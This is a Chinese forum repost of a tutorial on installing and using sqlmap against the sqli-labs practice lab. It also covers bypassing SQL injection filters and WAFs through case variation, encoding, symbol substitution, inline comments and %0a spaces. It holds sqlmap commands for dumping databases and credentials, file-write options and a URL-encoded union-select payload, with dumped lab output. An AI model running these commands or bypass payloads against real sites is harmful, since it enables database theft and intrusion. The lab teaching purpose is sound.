搜索

[18113] 2020-08-13_SQLMap和SQLi注入防御

文档创建者：s7ckTeam
浏览次数：11
最后更新：2025-01-18
2020-08-13_SQLMap和SQLi注入防御 S Q L M a p 和 S Q L i 注 入 防 御 z h i j i a n   H A C K 之 道   2 0 2 0 - 0 8 - 1 3 第 一 部 分 第 一 部 分 : S q l m a p 使 用 使 用 1 . 1   s q l m a p 介 绍 介 绍 1 .   前 边 说 了 一 些 s q l 注 入 的 基 础 语 句 , 但 是 手 工 注 入 很 麻 烦 , 我 们 可 以 借 助 s q l m a p 这 个 强 大 的 s q l 注 入 工 具 , 进 行 数 据 的 获 取 . 2 .   s q l m a p 介 绍 ( 1 ) # s q l m a p 是 一 种 开 源 的 渗 透 测 试 工 具 ， 可 以 自 动 检 测 和 利 用 S Q L 注 入 漏 洞 以 及 接 入 该 数 据 库 的 服 务 器 。 它 拥 有 非 常 强 大 的 检 测 引 擎 、 具 有 多 种 特 性 的 渗 透 测 试 器 、 通 过 数 据 库 指 纹 提 取 访 问 底 层 文 件 系 统 并 通 过 外 带 连 接 执 行 命 令 。 官 方 网 站 :   s q l m a p . o r g   ( 2 ) # 支 持 的 数 据 库 ： M y S Q L ， O r a c l e ,   P o s t g r e S Q L ,   M i c r o s o f t   S Q L   S e r v e r ,   M i c r o s o f t A c c e s s ,   I B M   D B 2 ,   S Q L i t e ,   F i r e b i r d ,   S y b a s e   a n d   S A P   M A X D B 。 ( 3 ) # 支 持 多 种 注 入 方 式 # U N I O N   q u e r y   S Q L   i n j e c t i o n （ 可 联 合 查 询 注 入 ） # E r r o r - b a s e d   S Q L   i n j e c t i o n （ 报 错 型 注 入 ） # B o o l e a n - b a s e d   b l i n d   S Q L   i n j e c t i o n （ 布 尔 型 注 入 ） # T i m e - b a s e d   b l i n d   S Q L   i n j e c t i o n （ 基 于 时 间 延 迟 注 入 ） # S t a c k e d   q u e r i e s   S Q L   i n j e c t i o n （ 可 多 语 句 查 询 注 入 ） 1 . 2   s q l m a p 安 装 和 环 境 搭 建 安 装 和 环 境 搭 建
1 . s q l m a p 安 装 主 要 步 骤       ( 1 ) 安 装 p y t h o n 环 境 - - - > s q l m a p 需 要 p y t h o n 环 境           p y t h o n 下 载 地 址 :   h t t p s : / / w w w . p y t h o n . o r g / d o w n l o a d s / r e l e a s e / p y t h o n - 2 7 1 5 / )       s q l m a p 跟 P y t h o n 2 . X 版 本 兼 容 比 较 好 . ( p y t h o n 的 安 装 步 骤 直 接 下 一 步 即 可 , 需 要 修 改 的 就 是 s q l m a p 的 安 装 路 径 , 这 里 改 成 了 C : U s e r s A d m i n i s t r a t o r p y t h o n , 为 了 直 接 命 令 行 可 以 进 入 s q l m a p 目 录 更 方 便 操 作 )       ( 2 ) P y t h o n 安 装 不 要 安 装 到 中 文 路 径 下 , 并 把 P y t h o n 添 加 到 环 境 变 量 中 .
    ( 3 ) 下 载 并 安 装 s q l m a p , 修 改 安 装 目 录 为 C : U s e r s A d m i n i s t r a t o r s q l m a p       ( 4 ) 测 试 p y t h o n 环 境 :     进 入 c m d 命 令 行 , 输 入 p y t h o n , 如 下 提 示 则 安 装 成 功       C : U s e r s A d m i n i s t r a t o r > p y t h o n       P y t h o n   2 . 7 . 1 6   ( v 2 . 7 . 1 6 : 4 1 3 a 4 9 1 4 5 e ,   M a r     4   2 0 1 9 ,   0 1 : 3 7 : 1 9 )   [ M S C   v . 1 5 0 0   6 4   b i t   ( A M D 6 4 ) ]   o n   w i n 3 2       T y p e   " h e l p " ,   " c o p y r i g h t " ,   " c r e d i t s "   o r   " l i c e n s e "   f o r   m o r e   i n f o r m a t i o n .         > > >   e x i t ( ) ;             ( 5 ) s q l m a p 测 试 :     进 入 c m d 命 令 行 , 输 入 s q l m a p . p y     - h   ( 注 意 路 径 )     C : U s e r s A d m i n i s t r a t o r s q l m a p > s q l m a p . p y     - h       # 查 看 帮 助 信 息
1 . 3   s q l m a p 常 用 参 数 常 用 参 数 # ( 1 ) 获 取 库 名 获 取 库 名 , 列 名 列 名 , 权 限 权 限 - - d b s       # 获 取 所 有 数 据 库 - - d b m s       m y s q l     # 指 定 数 据 库 类 型 - - u s e r s       # 所 有 数 据 库 用 户 ( 数 据 库 本 地 用 户 名 ) - - p a s s w o r d s     # 获 取 数 据 库 密 码 , ( 有 权 限 才 能 读 取 ) - - t e c h n i q u e     # 指 定 使 用 哪 种 注 入 类 型 - - c u r r e n t - d b   # 当 前 数 据 库 - - b a n n e r               # 获 取 数 据 库 标 识 - D   d a t a b a s e _ n a m e   - - t a b l e s         # - D 用 于 指 定 数 据 , - - t a b l e s 获 取 某 个 库 下 的 表 - D   d a t a b a s e _ n a m e   - T   t a b l e _ n a m e   - - c o l u m n s   # - T 指 定 表 名 , - - c o l u m n s 获 取 列 字 段 - D   d a t a b a s e _ n a m e   - T   t a b l e _ n a m e   - C   c o l u m n _ 1 , c o l u m n _ 2   - - d u m p                                 # - C 指 定 字 段 名 , - - d u m p 显 示 结 果 - - u s e r s       # 列 数 据 库 管 理 用 户 , 当 前 用 户 有 权 限 读 取 包 含 所 有 用 户 的 表 的 权 限 时 ， 就 可 以 列 出 所 有 管 理 用 户 。 - - c u r r e n t - u s e r     # 在 大 多 数 据 库 中 可 以 获 取 到 管 理 数 据 的 用 户 。 - - i s - d b a               # 判 断 当 前 的 用 户 是 否 为 管 理 ， 是 的 话 会 返 回 T r u e 。 - - p r i v i l e g e s       # 当 前 用 户 有 权 限 读 取 包 含 所 有 用 户 的 表 的 权 限 时 ， 很 可 能 列 举 出 每 个 用 户 的 权 限 ， s q l m a p 将 会 告 诉 你 哪 个 是 数 据 库 的 超 级 管 理 员 。 也 可 以 用 - U 参     数 指 定 你 想 看 那 个 用 户 的 权 限 。 - - p r o x y       # 指 定 一 个 代 理 服 务 器   e g :   – p r o x y   h t t p : / / l o c a l : 8 0 8 0 # ( 2 ) 指 定 前 后 缀 指 定 前 后 缀 :
# s q l m a p 不 能 探 测 很 多 的 干 扰 字 符 , 闭 合 时 可 以 手 工 指 定 前 缀 和 后 缀 s e l e c t   *   f r o m   u s e r s   w h e r e   i d = ( ( ( ' 1 ' ) ) )   a n d   1 = 1 # - - p r e f i x = P R E F I X   注 入 p a y l o a d 字 符 串 前 缀 # – s u f f i x = S U F F I X     注 入 p a y l o a d 字 符 串 后 缀 e g ： s q l m a p   - u   “ w w w . t a r g e t . c o m / i n d e x . p h p ? i d = 1 ”   - p   i d   - - p r e f i x   “ ' ) ) ” - - s u f f i x   “ A N D   ( ' 1 ' = ' 1 ” # ( 3 ) 导 出 结 果 导 出 结 果 : s q l m a p   - u   “ w w w . a . c o m / 1 . p h p ? i d = 1 ”   - - f i l e - w r i t e = ” d : / 1 . t x t ” - - f i l e - d e s t = ” E ： / w w w r o o t / w e b / o n e . p h p “ - - b a t c h   全 自 动 - - s t a r t = 开 始 条 数   - - s t o p = 结 束 条 数 - - d u m p   导 出 数 据 - - d u m p - a l l   导 出 所 有 数 据 - - p u r g e - o u t p u t /   - - p u r g e     清 空 缓 存 目 录 - - s q l - s h e l l   反 弹 s q l s h e l l , 类 似 于 s q l 查 询 分 析 器     默 认 路 径 . s q l m a p   （ 点 s q l m a p ） 1 . 4   s q l m a p 实 战 举 例 实 战 举 例 # L e s s - 1 - - L e s s 6 5 通 用 语 句 通 用 语 句 ( 这 几 句 是 最 常 用 的 几 个 参 数 这 几 句 是 最 常 用 的 几 个 参 数 , 必 会 型 必 会 型 ) # ( 1 ) 获 取 所 有 库 名 获 取 所 有 库 名 C : U s e r s A d m i n i s t r a t o r s q l m a p > p y t h o n   s q l m a p . p y   - u   " h t t p : / / l o c a l h o s t / s q l i / L e s s - 1 ? i d = 1 "   - - d b s   - - d b m s = m y s q l   - - b a t c h # 解 析 解 析 : - u   后 加 u r l , 表 示 测 试 的 u r l - - d b s 表 示 获 取 所 有 数 据 库 - - d b m s 表 示 指 定 数 据 库 类 型 为 m y s q l - - b a t c h 表 示 自 动 获 取 - D     s e c u r i t y   - - t a b l e s   表 示 获 取 指 定 数 据 库 为 s e c u r i t y   的 表 名 - D     s e c u r i t y   - T     u s e r s   - - c o l u m n s   表 示 获 取 指 定 数 据 库 为 s e c u r i t y 里 u s e r s 表 中 的 列 名 - D   s e c u r i t y   - T   u s e r s   - C   u s e r n a m e , p a s s w o r d   - - d u m p     # 获 取 s e c u r i t y 库 , u s e r s 表 中 u s e r n a m e 和 p a s s w o r d 字 段 的 数 据 信 息 , - - d u m p 表 示 显 示 结 果
# 结 果 结 果 : [ * ]   c h a l l e n g e s [ * ]   d v w a [ * ]   i n f o r m a t i o n _ s c h e m a [ * ]   m y s q l [ * ]   o w a s p [ * ]   p e r f o r m a n c e _ s c h e m a [ * ]   s e c u r i t y [ * ]   t e s t # ( 2 ) 获 取 当 前 库 名 获 取 当 前 库 名 C : U s e r s A d m i n i s t r a t o r s q l m a p > p y t h o n   s q l m a p . p y   - u   " h t t p : / / l o c a l h o s t / s q l i / L e s s - 1 ? i d = 1 "   - - c u r r e n t - d b   - - b a t c h # 结 果 结 果 : c u r r e n t   d a t a b a s e :         ' s e c u r i t y ' # ( 3 ) 获 取 当 前 表 名 获 取 当 前 表 名 C : U s e r s A d m i n i s t r a t o r s q l m a p > p y t h o n   s q l m a p . p y   - u   " h t t p : / / l o c a l h o s t / s q l i / L e s s - 1 ? i d = 1 "   - D   s e c u r i t y   - - t a b l e s   - - b a t c h # 结 果 结 果 : D a t a b a s e :   s e c u r i t y [ 4   t a b l e s ] + - - - - - - - - - - + |   e m a i l s       | |   r e f e r e r s   | |   u a g e n t s     | |   u s e r s         | + - - - - - - - - - - + # ( 4 ) 获 取 当 前 列 名 获 取 当 前 列 名 C : U s e r s A d m i n i s t r a t o r s q l m a p > p y t h o n   s q l m a p . p y   - u   " h t t p : / / l o c a l h o s t / s q l i / L e s s - 1 ? i d = 1 "   - D   s e c u r i t y   - T   u s e r s   - - c o l u m n s     - - b a t c h
# 结 果 结 果 : D a t a b a s e :   s e c u r i t y T a b l e :   u s e r s [ 3   c o l u m n s ] + - - - - - - - - - - + - - - - - - - - - - - - - + |   C o l u m n       |   T y p e                 | + - - - - - - - - - - + - - - - - - - - - - - - - + |   i d               |   i n t ( 3 )             | |   p a s s w o r d   |   v a r c h a r ( 2 0 )   | |   u s e r n a m e   |   v a r c h a r ( 2 0 )   | + - - - - - - - - - - + - - - - - - - - - - - - - + # ( 5 ) 获 取 获 取 u s e r s 表 中 表 中 u s e r n a m e 和 和 p a s s w o r d 内 容 内 容 C : U s e r s A d m i n i s t r a t o r s q l m a p > p y t h o n   s q l m a p . p y   - u   " h t t p : / / l o c a l h o s t / s q l i / L e s s - 1 ? i d = 1 "   - D   s e c u r i t y   - T   u s e r s   - C   u s e r n a m e , p a s s w o r d   - - d u m p     - - b a t c h # 结 果 结 果 : D a t a b a s e :   s e c u r i t y T a b l e :   u s e r s [ 1 3   e n t r i e s ] + - - - - - - - - - - + - - - - - - - - - - - - + |   u s e r n a m e   |   p a s s w o r d       | + - - - - - - - - - - + - - - - - - - - - - - - + |   D u m b           |   D u m b               | |   A n g e l i n a   |   I - k i l l - y o u   | |   D u m m y         |   p @ s s w o r d       | |   s e c u r e       |   c r a p p y           | |   s t u p i d       |   s t u p i d i t y     | |   s u p e r m a n   |   g e n i o u s         | |   b a t m a n       |   m o b ! l e           | |   a d m i n         |   a d m i n             | |   a d m i n 1       |   a d m i n 1           | |   a d m i n 2       |   a d m i n 2           | |   a d m i n 3       |   a d m i n 3           | |   d h a k k a n     |   d u m b o             | |   a d m i n 4       |   a d m i n 4           | + - - - - - - - - - - + - - - - - - - - - - - - + 第 二 部 分 第 二 部 分 : s q l i 注 入 之 注 入 之 w a f 绕 过 绕 过
2 . 1   S Q L 注 入 之 注 入 之 w a f 绕 过 方 法 介 绍 绕 过 方 法 介 绍 说 明 说 明 : 这 里 仅 举 例 说 明 绕 过 方 式 这 里 仅 举 例 说 明 绕 过 方 式 , 实 际 场 景 则 更 加 复 杂 实 际 场 景 则 更 加 复 杂 .   多 种 绕 过 方 式 可 以 混 合 使 用 多 种 绕 过 方 式 可 以 混 合 使 用 , 还 可 以 进 行 编 码 还 可 以 进 行 编 码 . 1 . 前 边 知 道 了 s q l 注 入 的 方 式 后 , 如 何 才 能 防 止 s q l 注 入 呢 ? # ( 1 ) 过 滤 注 释 符 # ( 2 ) 过 滤 a n d 或 o r # ( 3 ) 过 滤 s e l e c t 或 u n i o n # ( 4 ) 过 滤 黑 名 单 2 . 过 滤 了 a n d / o r 绕 过 方 式 有 哪 些 ? # ( 1 ) m y s q l 中 大 小 写 不 敏 感 , 都 可 以 正 确 执 行 ; = = = > 使 用 大 小 写 变 形 # ( 2 ) m y s q l 支 持 十 六 进 制 , 用 1 6 进 制 或 用 U R L 编 码 ; # ( 3 ) 用 符 号 替 换 单 词       = = = > 符 号 绕 过   a n d ( & & )     o r ( | | ) # ( 4 ) 内 联 注 释 和 多 行 注 释 = = = > 在 敏 感 词 汇 中 添 加 注 释 a / * * / n d       双 写 绕 过 o O R r 3 . 当 然 还 有 其 他 方 法 , 我 们 以 这 几 种 过 滤 方 式 为 例 , 来 说 说 如 何 绕 过 .       真 实 场 景 中 有 w a f 设 备 , w a f 其 实 也 是 通 过 过 滤 一 些 关 键 字 来 防 止 s q l 注 入 的 . 2 . 2   s q l 注 入 之 绕 过 注 入 之 绕 过 w a f 实 验 实 验 1 . 过 滤 了 注 释 符 ( L e s s - 2 3 为 例 ) # ( 1 ) 过 滤 注 释 符 的 原 因 : 对 于 正 常 的 S Q L 语 句 中 ， 注 释 符 起 到 说 明 作 用 的 功 能 。 但 是 对 于 在 利 用 S Q L 注 入 漏 洞 过 程 中 ， 注 释 符 起 到 闭 合   单 引 号 、 多 单 引 号 、 双 引 号 、 单 括 号 、 多 括 号 的 功 能 。 单 行 注 释 ：   - - +   或   - - 空 格     或   # 多 行 注 释 ： / *   多 行 注 释 内 容   * / # ( 2 ) 过 滤 函 数 p r e g _ r e p l a c e p r e g _ r e p l a c e ( m i x e d   $ p a t t e r n   ,   m i x e d   $ r e p l a c e m e n t   ,   m i x e d   $ s u b j e c t ) : 执 行 一 个 正 则 表 达 式 的 搜 索 和 替 换 。 $ p a t t e r n :   要 搜 索 的 模 式 ， 可 以 是 字 符 串 或 一 个 字 符 串 数 组 $ r e p l a c e m e n t :   用 于 替 换 的 字 符 串 或 字 符 串 数 组 。 $ s u b j e c t :   要 搜 索 替 换 的 目 标 字 符 串 或 字 符 串 数 组 。
# ( 3 ) 绕 过 注 释 符 : 利 用 注 释 符 过 滤 不 能 成 功 闭 合 单 引 号 等 ， 换 一 种 思 路   利 用   o r   ' 1 ' = ' 1 闭 合 单 引 号 等 。 h t t p : / / 1 2 7 . 0 . 0 . 1 / s q l i / L e s s - 2 3 / ? i d = - 1 % 2 7 % 2 0 u n i o n % 2 0 s e l e c t % 2 0 1 , d a t a b a s e ( ) , % 2 7 3 2 . 过 滤 了 a n d 或 o r 应 该 如 何 绕 过 ? ( L e s s - 2 5 为 例 ) ( 1 ) 源 码 分 析 : 可 以 看 到 把 o r 或 a n d 替 换 为 了 空 ( 2 ) 操 作 步 骤
3 . 过 滤 了 空 格 应 该 如 何 绕 过 ? ( L e s s - 2 6 为 例 ) ( 1 ) 用 % 0 a 来 充 当 空 格
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理